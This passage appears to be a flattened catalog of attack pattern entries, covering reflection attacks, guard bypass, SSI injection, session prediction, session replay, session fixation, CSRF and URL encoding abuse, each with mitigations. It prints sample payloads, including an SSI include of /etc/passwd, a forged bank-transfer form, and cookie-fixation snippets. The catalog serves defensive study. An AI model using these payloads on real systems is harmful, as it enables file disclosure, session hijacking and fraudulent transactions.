The attacker opens a connection to the target server and sends it a challenge The server responds by returning the challenge encrypted with a shared secret as well as its own challenge to the attacker Since the attacker does not possess the shared secret, he initiates a second connection to the server and sends it, as challenge, the challenge received from the server on the first connection The server treats this as just another handshake and responds by encrypting the challenge and issuing its own to the attacker The attacker now receives the encrypted challenge on the second connection and sends it as response to the server on the first connection, thereby successfully completing the handshake and authenticating to the server. The attacker must have direct access to the target server in order to successfully mount a reflection attack. An intermediate entity, such as a router or proxy, that handles these exchanges on behalf of the attacker inhibits the attacker's ability to attack the authentication protocol. High High Authentication is usually used as a means to identify and grant access to the user. If the authentication protocol can be defeated, in this instance by a reflection attack, authentication serves no purpose in identifying the legitimate users of the system from the ilegitimate ones Protocol Manipulation Spoofing A single sign-on solution for a network uses a fixed preshared key with its clients to initiate the signon process in order to avoid eavesdropping on the initial exchanges. An attacker can use a reflection attack to mimick a trusted client on the network to particpate in the signon exchange. Medium: The attacker needs to have knowledge of observing the protocol exchange and managing the required connections in order to issue and respond to challenges All that the attacker requires is a means to observe and understand the protocol exchanges in order to reflect the challenges appropriately. The server must initiate the handshake by issuing the challenge. This ensures that the client has to respond before the exchange can move any further The use of HMAC to hash the response from the server can also be used to thwart reflection. The server responds by returning its own challenge as well as hashing the client's challenge, its own challenge and the preshared secret. Requiring the client to respond with the HMAC of the two challenges ensures that only the possessor of a valid preshared secret can successfully hash in the two values. Introducing a random nonce with each new connection ensures that the attacker can not employ two connections to attack the authentication protocol Privilege Escalation Information Leakage The context of this attack vector is an authentication protocol where the server is ready to encrypt challenges. Such challenge-response protocols are to be seen in communications on a nework between a client and servers, or between systems such as routers that require authenticating to each other. 301 Targeted 303 Secondary 718 Targeted Reluctance To Trust Complete Mediation Defense in Depth Use Authentication Mechanisms, Where Appropriate, Correctly Penetration Exploitation High High Low Client-Server SOA All All All Chiradeep B. Chhaya 2007-03-13 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revision of content

Attackers can, in some cases, get around logic put in place to 'guard' sensitive functionality or data. The attack may involve gaining access to and calling protected functionality (or accessing protected data) directly, may involve subverting some aspect of the guard's implementation, or outright removal of the guard, if possible.

The attacker determines, through brute-forcing, reverse-engineering or other similar means, the location and logic of the guard element The attacker then tries to determine the mechanism to circumvent the guard. Once the mechanism has been determined, the attacker proceeds to access the protected functionality The Attacker must have reverse-engineered the application and its design extensively enough to have determined that a guard element exists. This may have been done as simply as through probing (and likely receiving too verbose an error message) or could have involved high-brow techniques supported by advanced reverse engineering/debugging tools. Very High Medium Attacker uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the Attacker directly navigates to the privileged functionality arund the authorizing single-front controller (implementing programmatic authorization checks). Attacker reverse-engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary. Medium: The attacker must ability to understand complex design logic as well as possibly the ability to reverse-engineer the design and code to determine placement and logic of guard element. The attacker needs the ability to explore the application's functionality and response to various conditions. In cases where the guard component sits server-side, the attacker will likely require a valid login. In the case that guard functionality exists client-side, the attacker will likely require reverse-engineering tools, such as a dissasembler. Attackers may confine (and succeeed with) probing as simple as exploring an application's functionality and its underlying mapping to server-side components. It is likely that for this to succeed, the Attacker will need a valid login. At the other extreme, Attackers capable of reverse engineering client code will have the ability to remove functionality or identify the whereabouts of sensitive data through whitebox analysis, such as review of reverse-engineered code. Privilege Escalation Information Leakage Data Modification This pattern of attacks possesses valid contexts regardless of architectural model, provided that the application's developers have implemented a guard component. Guards may be implemented as application logic (such as in the 'Controller' element of the MVC pattern), may themselves be an enclosing object (such as Java's SealedObject class), or could be client-side functionality. The guard may mitigate access (by making an authorization decision, could filter input (or normalize/sensor output), or could conduct some set of security checks. Client/server, n-tier and thick clients should all be considered for vulnerability to this pattern. However, the exposure of a guard to attack depends on the ability of the Attacker to identify and probe it and its surroundings, as well as the ability to access it logically. This makes this style of attack more difficult in n-tier applications in which the guard under attack is a properly implemented 'controller'. This pattern of attack need not depend on a particular platform, technology stack, or language. 288 Targeted 372 Secondary 510 Targeted 693 Targeted 721 Targeted CVE-2007-0968 Unspecified vulnerability in Cisco Firewall Services Module (FWSM) before 2.3(4.7) and 3.x before 3.1(3.1) causes the access control entries (ACE) in an ACL to be improperly evaluated, which allows remote authenticated users to bypass intended certain ACL protections. CVE-2007-0802 Mozilla Firefox 2.0.0.1 allows remote attackers to bypass the Phishing Protection mechanism by adding certain characters to the end of the domain name, as demonstrated by the "." and "/" characters, which is not caught by the Phishing List blacklist filter. VU#258834 WebEOC ties privileges and roles to client-side resources. If an attacker can access a resource directly, that attacker will be granted all the privileges associated with that resource. Defense in Depth Complete Mediation Failing Securely Use Authentication Mechanisms, Where Appropriate, Correctly Use Authorization Mechanisms Correctly Penetration High High Low All All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content

Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertant altering of data on the server.

The attacker needs to be able to identify HTTP Get URLs. The Get methods must be set to call applications that perform operations other than get such as update and delete. High High Injection The HTTP Get method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP Get request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP Get requests. These HTTP Get methods do delete data on the server side, despite being called from Get which is not supposed to alter state. Low: It is relatively straightforward to identify an HTTP Get method that changes state on the server side and executes against an overprivileged system interface Attacker may enumerate URLs to identify vulnerable services. Design: Enforce principle of least privilege Implementation: Ensure that HTTP Get methods only retrieve state and do not alter state on the server side Implementation: Ensure that HTTP methods have proper ACLs based on what the funcitonality they expose Data Modification Privilege Escalation Payload delivered through standard communication protocols. In the Flickr and del.icio.us examples above, this is done through a normal web browser Command(s) executed directly on host Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 267 Targeted 269 Targeted 264 Targeted 1 More Detailed Penetration Exploitation High High Low SOA All All All Mark O'Neill, "Security for REST Web Services", http://www.vordel.com/downloads/rsa_conf_2006.pdf Gunnar Peterson 2007-02-28 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.

Determine applicability The attacker determines whether server side includes are enabled on the target web server. Look for popular page file names. The attacker will look for .shtml, .shtm, .asp, .aspx, and other well known strings in URLs to help determine whether SSI functionality is enabled. env-Web Fetch .htaccess file. In Apache web server installations, the .htaccess file may enable server side includes in specific locations. In those cases, the .htaccess file lives inside the directory where SSI is enabled, and is theoretically fetchable from the web server. Although most web servers deny fetching the .htaccess file, a misconfigured server will allow it. Thus, an attacker will frequently try it. env-Web If .htaccess files are used, their contents should be checked for "Options Includes" or "Options IncludesNOEXEC". env-Web If apache is used, the contents of the httpd.conf file and similar configuration files should be checked for "Options Includes" or "Options IncludesNOEXEC". env-Web IIS configurations contain server-side include compatibility. env-Web Web pages that include mundane, but dynamic information (like the current date, a file's size, or some other data that SSI can produce) might be producing that content through SSI. env-Web Adding "AllowOverrides none" to the main httpd.conf file on an server (and the similar restrictions in other application servers) can prevent unexpected loosening of SSI functionality, even by internal developers. Attempt SSI Look for user controllable input, including HTTP headers, that can carry server side include directives to the web server Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL. env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms. env-Web URL parameters are used. env-Web No parameters appear on the URL. Even though none appear, the web application may still use them if they are provided. env-Web A list of URLs, with their corresponding parameters is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Inject SSI The attacker may then need to view a particular page in order to have the server execute the include directive and run a command or open a file on behalf of the attacker The attacker views data (perhaps from a file) that he normally should not see. The attacker executes a command on the server, or influences the arguments to a command executed via SSI on the server. A web server that supports server side includes and has them enabled User controllable input that can carry include directives to the web server High Very High It is fairly easy to determine whether server-side includes are permitted on the target server. An attacker can potentially glean a lot of information if SSI Injection were found to be possible. Injection Protocol Manipulation Consider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the "Options Includes" directive enabled. Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error. When these logs are eventually reviewed, the server parses the SSI directives and executes them. Medium: The attacker needs to be aware of SSI technology, determine the nature of injection and be able to craft input that results in the SSI directives being executed. None: Determining whether the server supports SSI does not require special tools, and nor does injecting directives that get executed. The attacker can probe for enabled SSI by injecting content that can be interpreted as SSI directives and viewing the page output Set the OPTIONS IncludesNOEXEC in the global access.conf file or local .htaccess (Apache) file to deny SSI execution in directories that do not need them All user controllable input must be appropriately sanitized before use in the application. This includes omitting, or encoding, certain characters or strings that have the potential of being interpreted as part of an SSI directive Server Side Includes must be enabled only if there is a strong business reason to do so. Every additional component enabled on the web server increases the attack surface as well as administrative overhead Information Leakage Run Arbitrary Code Server Side Include is a technology that allows having the server parse some code before rendering an HTML page, without having to take recourse in a full-fledged server side language. This technology is usually used to display items such as "Last-Modified Date" or the current date and time on the server, and include other pieces of code, such as the output from a shell command or another html file. The latter is used to display things such as a common footer on HTML pages. A special file extension, usually .shtml, is used for server-parsed documents. The date is then displayed as <!--#echo var="DATE_LOCAL" --> and a footer file, footer.html is included as <!--#include virtual="/footer.html" --> However, for web sites that allow user-submitted content to be displayed on its pages, this is a potential minefield, since the user can easily insert the statement <!--#include virtual="/etc/passwd" --> to insert, and subsequently, view the password file on the machine. The problems that cause SSI Injection are the same as those that cause Cross Site Scripting - lack of input validation and sanitization of the output. If content is appropriately encoded before being rendered, the server would not interpret it as SSI tags and would, therefore, not execute it. User controllable input SSI directives that can cause disclosure of file contents or execution of commands The web server that parses and executes SSI directives before rendering the HTML page The SSI directives cause the inclusion of certain file's contents or the execution of a shell command, as directed by the attacker 97 Targeted 74 Secondary 20 Secondary 713 Secondary Reluctance To Trust Complete Mediation Never Use Unvalidated Input as Part of a Directive to any Internal Component Penetration Exploitation High High High Client-Server SOA All All All PHP Chiradeep B. Chhaya 2007-04-20 First Draft Sean Barnum Cigital, Inc 2007-04-20 Review and revision of content

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Find Session IDs The attacker interacts with the target host and finds that session IDs are used to authenticate users. An attacker makes many anonymous connections and records the session IDs assigned. env-Web env-Peer2Peer env-CommProtocol env-ClientServer An attacker makes authorized connections and records the session tokens or credentials issued. env-Web env-Peer2Peer env-CommProtocol env-ClientServer Web applications use session IDs env-Web Network systems issue session IDs or connection IDs env-CommProtocol env-ClientServer env-Peer2Peer Monitor logs for unusual amounts of invalid sessions. Monitor logs for unusual amounts of invalid connections or invalid requests from unauthorized hosts. Characterize IDs The attacker studies the characteristics of the session ID (size, format, etc.). As a results the attacker finds that legitimate session IDs are predictable. Cryptanalysis. The attacker uses cryptanalysis to determine if the session IDs contain any cryptographic protections. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Pattern tests. The attacker looks for patterns (odd/even, repetition, multiples, or other arithmetic relationships) between IDs env-Web env-ClientServer env-Peer2Peer env-CommProtocol Comparison against time. The attacker plots or compares the issued IDs to the time they were issued to check for correlation. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Patterns are detectable in session IDs Session IDs pass NIST FIPS 140 statistical tests for cryptographic randomness. Session IDs are repeated. Match issued IDs The attacker brute forces different values of session ID and manages to predict a valid session ID. The attacker models the session ID algorithm enough to produce a compatible series os IDs, or just one match. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Session identifiers successfully spoofed No session IDs can be found or exploited Use matched Session ID The attacker uses the falsified session ID to access the target system. The attacker loads the session ID into his web browser and browses to restricted data or functionality. env-Web The attacker loads the session ID into his network communications and impersonates a legitimate user to gain access to data or functionality. env-CommProtocol env-Peer2Peer env-ClientServer Monitor the correlation between session IDs and other station designations (MAC address, IP address, VLAN, etc.). Alert on session ID reuse from multiple sources. Terminate both sessions if an ID is used from multiple origins. The target host uses session IDs to keep track of the users. Session IDs are used to control access to resources. The session IDs used by the target host are predictable.For example, the session IDs are generated using predictable information (e.g., time). High High Spoofing Brute Force Analysis Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks. CVE-2006-6969 mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. CVE-2001-1534 Low: There are tools to brute force sesion ID. Those tools require a low level of knowledge. Medium/High: Predicting Session ID may require more computation work which uses advanced analysis such as statistic analysis. The attacker can perform analysis of the randomness of the session generation algortihm. The attacker may need to steal a few valid session IDs using a different type of attack. And then use those session ID to predict the following ones. The attacker can use brute force tools to find a valid session ID. Use a strong source of randomness to generate a session ID. Use adequate length session IDs Do not use information available to the user in order to generate session ID (e.g., time). Ideas for creating random numbers are offered by Eastlake [RFC1750] Encrypt the session ID if you expose it to the user. For instance session ID can be stored in a cookie in encrypted format. Privilege Escalation 290 Targeted 330 Targeted 331 Targeted 346 Targeted 488 Secondary 539 Secondary 200 Secondary 6 Targeted 285 Secondary 384 Secondary 693 Targeted 719 Secondary Securing the Weakest Link Penetration High High Low Client-Server J2EE .NET All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

The attacker interacts with the target host and finds that session IDs are used to authenticate users. The attacker steals a session ID from a valid user. The attacker tries to use the stolen session ID to gain access to the system with the priviledges of the session ID's original owner. The target host uses session IDs to keep track of the users. Session IDs are used to control access to resources. The session IDs used by the target host are not well protected from session theft. High High Spoofing Social Engineering Analysis OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. CVE-1999-0428 Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. CVE-2002-0258 Low: If an attacker can steal a valid session ID, he can then try to be authenticated with that stolen session ID. Medium/High: More sophisticated attack can be used to hijack a valid session from a user and spoof a ligitimate user by reusing his valid session ID. The attacker can listen to a conversation between the client and server and steal a valid session ID. The attacker can try to steal session information from the user's coookies. The attacker can try a valid session from a finished transaction and find out that the transaction associated with the session ID did not time out. Always invalidate a session ID after the user logout. Setup a session time out for the session IDs. Protect the communication between the client and server. For instance it is best practice to use SSL to mitigate man in the middle attack. Do not code send session ID with GET method, otherwise the session ID will be copied to the URL. In general avoid writing session IDs in the URLs. URLs can get logged in log files, which are vulnerable to an attacker. Encrypt the session data associated with the session ID. Use multifactor authentication. Privilege Escalation 294 Targeted 290 Targeted 346 Targeted 384 Targeted 488 Secondary 539 Secondary 200 Secondary 285 Secondary 664 Targeted 732 Targeted 21 More Detailed Securing the Weakest Link Penetration High High Low Client-Server J2EE .NET All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.

Setup the Attack Setup a session: The attacker has to setup a trap session that provides a valid session identifier, or select an arbitrary identifier, depending on the mechanism employed by the application. A trap session is a dummy session established with the application by the attacker and is used solely for the purpose of obtaining valid session identifiers. The attacker may also be required to periodically refresh the trap session in order to obtain valid session identifiers. The attacker chooses a predefined identifier that he knows. env-Web env-Peer2Peer env-CommProtocol env-ClientServer The attacker creates a trap session for the victim. env-Web env-Peer2Peer env-CommProtocol env-ClientServer The application accepts predefined, or user-provided session IDs env-Web env-Peer2Peer env-CommProtocol env-ClientServer The application ignores predefined, or user-provided session IDs and provides new session IDs. env-Web env-Peer2Peer env-CommProtocol env-ClientServer A trap session or a predefined session ID is established. Detect and alert on users who provide unknown session IDs in their connection establishment. Since this also fits the scenario where a user's session has expired, the heuristic must be a bit smarter, perhaps looking for an unusually high number of such occurrences in a short time frame. Detect and alert on multiple origins connecting with the same predefined session ID. Attract a Victim Fixate the session: The attacker now needs to transfer the session identifier from the trap session to the victim by introducing the session identifier into the victim's browser. This is known as fixating the session. The session identifier can be introduced into the victim's browser by leveraging cross site scripting vulnerability, using META tags or setting HTTP response headers in a variety of ways. Attackers can put links on web sites (such as forums, blogs, or comment forms). env-Web Attackers can establish rogue proxy servers for network protocols that give out the session ID and then redirect the connection to the legitimate service. env-Peer2Peer env-ClientServer env-CommProtocol Attackers can email attack URLs to potential victims through spam and phishing techniques. env-Web A victim makes a connection according to the attacker's design. Record referrers from web clients that connect with predefined session IDs. Alert when referrers do not match known, acceptable sites. Abuse the Victim's Session Takeover the fixated session: Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the fixated session identifier. The attacker loads the predefined session ID into his browser and browses to protected data or functionality. env-Web The attacker loads the predefined session ID into his software and utilizes functionality with the rights of the victim. env-CommProtocol env-ClientServer env-Peer2Peer The attacker gains access to data or functionality with the rights of the victim. Detect and alert on multiple simultaneous uses of the same session ID from different origins. Disconnect all simultaneous users of the same session ID when they arrive from different origins. Session identifiers that remain unchanged when the privilege levels change. Permissive session management mechanism that accepts random user-generated session identifiers Predicatable session identifiers High Medium Time and State Injection Consider a banking application that issues a session identifier in the URL to a user before login, and uses the same identifier to identify the customer following successful authentication. An attacker can easily leverage session fixation to access a victim's account by having the victim click on a forged link that contains a valid session identifier from a trapped session setup by the attacker. Once the victim is authenticated, the attacker can take over the session and continue with the same levels of privilege as the victim. An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels. CVE-2004-2182 Low: Only basic skills are required to determine and fixate session identifiers in a user's browser. Subsequent attacks may require greater skill levels depending on the attacker's motives. None Determining whether the target application server accepts preset session identifiers is relatively easy. The attacker may try setting session identifiers in the URL or hidden form fields or in cookies, depending upon application design. Having access to an account or by utilizing a dummy account, the attacker can determine whether the preset session identifiers are accepted or not. With code or design in hand, the attacker can readily verify whether preset session identifiers are accepted and whether identifiers are regenerated, and possible destroyed, when privilege levels change. There are no indicators for the server since a fixated session identifier is similar to an ordinarily generated one. However, too many invalid sessions due to invalid session identifiers is a potential warning. A client can be suspicious if a received link contains preset session identifiers. However, this depends on the client's knowledge of such an issue. Also, fixation through Cross Site Scripting or hidden form fields is usually difficult to detect. Use a strict session management mechanism that only accepts locally generated session identifiers: This prevents attackers from fixating session identifiers of their own choice. Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes. Use session identifiers that are difficult to guess or brute-force: One way for the attackers to obtain valid session identifiers is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult. Privilege Escalation Session fixation takes place primarily due to the application trusting user-supplied session identifiers and using the same identifiers across multiple levels of privilege. There are two types of session management mechanisms: 1. Permissive: The application accepts any user-provided session identifier. This allows an attacker to easily fixate an identifier since the application trusts all identifiers provided to it. 2. Strict: The application trusts only those session identifiers that were generated locally.Although this is a far stronger mechanism, it does not make applications immune to session fixation. With a strict mechanism, the attacker needs to setup a trap session to obtain a valid identifier, trick the victim into using the identifier and leverage session fixation. Also, the attacker may now be required to periodically refresh the the trap session in order to maintain a valid session identifier. Session identifiers can be fixated: 1. In the URL: The attacker needs to have the victim click on a hyperlink such as http://targetserver.com/login.jsp?jsessionid=176k36kk92adnn0lajeq91 2. In hidden form fields: The attacker needs to trick the victim into clicking on a look-alike form that contains the fixated session identifier. 3. In the cookie: This is relatively the most difficult location to fixate an identifier. The attacker has to resort to another mechanism such as Cross-Site Scripting to introduce a cookie with a fixated session identifier. This can be achieved by either using a client-side script to introduce the cookie (document.cookie="sessionid=abc1234") or injecting cookies using the META tag (<meta http-equiv=Set-Cookie content="sessionid=abc1234">). GET or POST data, Hidden form fields and session cookies Preset session identifier Target application's session management mechanism The payload activation impact is that a session identifier of the attacker's choice is considered valid and trust decisions by the application will be based on such a fixated identifier. 384 Targeted 361 Secondary 664 Targeted 732 Targeted 21 More Detailed Regenerate session identifiers upon each new request. This ensures that fixated session identifiers are rendered obsolete. Regenerate a session identifier everytime a user enters an authenticated session and destroy the identifier when the user logs out of an authenticated session. Set appropriate expiry times on cookies that contain session identifiers. This helps limit the window of opportunity for an attacker to use the identifier. Do not use session identifiers as part of URLs or hidden form fields. It becomes easy for an attacker to trick a user into a fixated session when session identifiers are easily accessible. Authenticate every transaction by requesting credentials. This ensures that only a legitimate user of the application can proceed with the transaction. If an attacker seeks to perform any such authenticated transaction, valid credentials will be required even though session fixation may have been successful earlier. Complete Mediation Reluctance to Trust Defense in Depth Never Use Unvalidated Input as Part of a Directive to any Internal Component Penetration High High Low Client-Server J2EE .NET All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Session Fixation CWE - Time and State Chiradeep B Chhaya 2007-01-29 Second Draft Malik Hamro Cigital, Inc 2007-02-27 Reformat to new schema and review Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

Explore target website The attacker first explores the target website to determine pieces of functionality that are of interest to him (e.g. money transfers). The attacker will need a legitimate user account on the target website. It would help to have two accounts. Use web application debugging tool such as WebScarab, Tamper Data or TamperIE to analyze the information exchanged between the client and the server env-Web Use network sniffing tool such as Wireshark to analyze the information exchanged between the client and the server env-Web View HTML source of web pages that contain links or buttons that perform actions of interest. env-Web Attacker identifies at least one piece of interesting functionality that can be executed by making a single HTTP GET or POST request containing no session-specific parameters. Attacker cannot identify any functionality that can be executed without sending a session-specific parameter other than the cookie in the HTTP request. Create a link that when clicked on, will execute the interesting functionality. The attacker needs to create a link that will execute some interesting functionality such as transfer money, change a password, etc. Create a GET request containing all required parameters (e.g. https://www.somebank.com/members/transfer.asp?to=012345678901&amt=10000) env-Web Create a form that will submit a POST request (e.g. <form method="POST" action="https://www.somebank.com/members/transfer.asp"><input type="hidden" Name="to" value="012345678901"/><input type="hidden" Name="amt" value="10000"/><input type="submit" src="clickhere.jpg"/></form> env-Web Success outcome in previous step. env-Web Failure outcome in previous step. env-Web A link that performs an operation that the attacker desires when it is clicked. Creating a link that performs an operation that the attacker desires when it is clicked, is impossible, because the site has implemented protections against CSRF. Include a unique HTTP parameter value in forms every time they are sent to the client. Verify that the expected value is in the response received from the client. In this case, the attacker will not have access to the correct parameter value for another user, and thus, will not be able to create forged requests. Check HTTP referrer for each request to ensure that it is from the expected site. Note that if the site is vulnerable to XSS, then the attacker will be able to bypass this. Convince user to click on link Finally, the attacker needs to convince a user that is logged into the target website to click on a link to execute the CSRF attack. Execute a phishing attack and send the user an e-mail convincing him to click on a link. env-Web Execute a stored XSS attack on a website to permanently embed the malicious link into the website. env-Web Execute a stored XSS attack on a website where a XMLHTTPRequest object will automatically execute the attack as soon as a user visits the page. This removes the step of convincing a user to click on a link. env-Web Include the malicious link on the attacker's own website where the user may have to click on the link, or where an XMLHTTPRequest object may automatically execute the attack when a user visits the site. env-Web Success outcome in previous step. env-Web Failure outcome in previous step. env-Web A user executes the malicious link crafted by the attacker. Failure outcome in previous step. Monitor server logs for referrers. If users are being tricked into clicking CSRF links through forums or other web postings, their web browsers will be providing Referer headers most of the time. These can help indicate that the actual request is illegitimate. Deny requests and invalidate session IDs for requests that contain unexpected referrers. Note that this will not protect against cases where the target website is also vulnerable to cross site scripting. Very High High Spoofing Analysis While a user is logged into his bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email. The link points to or contains an attacker setup script, probably even within an iFrame, that mimicks an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account. The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie. Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail. Medium: The attacker needs to figure out the exact invocation of the targeted malicious action and then craft a link that performs the said action. Having the user click on such a link is often accomplished by sending an email or posting such a link to a bulletin board or the likes. All the attacker needs is the exact representation of requests to be made to the application and to be able to get the malicious link across to a victim. The attacker can observe the way the application accepts requests for actions. If the application uses a persistent cookie, a non-random identifier or any such static identification token that does not change with every request, the attack is fairly straightforward to accomplish In order to obfuscate the actual URL and its contents passed to the victim, the attacker can employ a service such as TinyURL and optionally redirect the request to the actual malicious script Use cryptographic tokens to associate a request with a specific action. The token can be regenerated at every request so that if a request with an invalid token is encountered, it can be reliably discarded. The token is considered invalid if it arrived with a request other than the action it was supposed to be associated with. Although less reliable, the use of the optional HTTP Referer header can also be used to determine whether an incoming request was actually one that the user is authorized for, in the current context. Additionally, the user can also be prompted to confirm an action every time an action concerning potentially sensitive data is invoked. This way, even if the attacker manages to get the user to click on a malicious link and request the desired action, the user has a chance to recover by denying confirmation. This solution is also implicitly tied to using a second factor of authentication before performing such actions. In general, every request must be checked for the appropriate authentication token as well as authorization in the current session context. Privilege Escalation Information Leakage Data Modification Cross Site Request Forgery is possible in a context where the vulnerable application does not authenticate every request. Such applications rely on a persistent cookie or some such static identifier to identify and authenticate the user. In addition, there is no authorization to check the requested action. This enables the attacker to perform actions in an authenticated context since the relevant cookies or identifiers are automatically tacked on by the browser to the request. 352 Targeted 306 Secondary 664 Targeted 732 Targeted 716 Targeted Complete Mediation Defense In Depth Use Authorization Mechanisms Correctly Use Authentication Mechanisms, Where Appropriate, Correctly Exploitation High High Low Client-Server J2EE .NET All All "Session Riding: A Widespread Vulnerability in Today's Web Applications", Thomas Schreiber, SecureNet GmbH, Dec 2004. http://www.securenet.de/papers/Session_Riding.pdf Chiradeep B.Chhaya Cigital, Inc 2007-02-27 Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

